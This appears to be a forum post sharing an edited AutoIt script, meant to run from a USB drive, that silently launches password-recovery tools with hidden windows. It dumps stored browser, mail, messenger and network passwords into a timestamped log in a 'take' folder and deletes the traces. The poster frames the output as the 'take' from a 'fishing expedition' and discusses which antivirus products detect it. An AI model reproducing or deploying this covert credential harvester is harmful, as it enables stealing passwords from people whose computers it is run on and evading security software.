I was having trouble with all the variations posted before so I edited it a bit further to get it to work:
Run(@ComSpec & ' /k "pspv.exe /stext .takepspv.txt"', @ScriptDir, @SW_HIDE)
sleep(200)
Run(@ComSpec & ' /k "mspass.exe /stext .takemspass.txt"', @ScriptDir, @SW_HIDE)
sleep(200)
Run(@ComSpec & ' /k "mailpv.exe /stext .takemailpv.txt"', @ScriptDir, @SW_HIDE)
sleep(200)
Run(@ComSpec & ' /k "netpass.exe /stext .takenetpass.txt"', @ScriptDir, @SW_HIDE)
sleep(3000)
Run(@ComSpec & ' /k "COPY .take*.txt .takeall.txt"', @ScriptDir, @SW_HIDE)
sleep(3000)
Dim $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @HOUR & "-" & @MIN & "_" & @SEC
Dim $Location = @WorkingDir & '.take'
Dim $FileName = "all.txt"
FileMove($Location & $FileName , $Location & $DateTime & ".log",1)
sleep(3000)
Run(@ComSpec & ' /k "del .take*.txt"', @ScriptDir, @SW_HIDE)
sleep(1000)
The script/compiled exe must be in the same directory as the programs, along with a directory called "take", as in what ends up here is the take from your fishing expedition.
Be advised that at least one virus scanner, AVG, detects this stuff. I'll soon find out if the enterprise edition of Norton does as well.
I too am no longer to use the saftly remove device thing after running this, but as far as I can tell as long as nothing is being read/written to your usb drive you can pull it without somehting bad happening.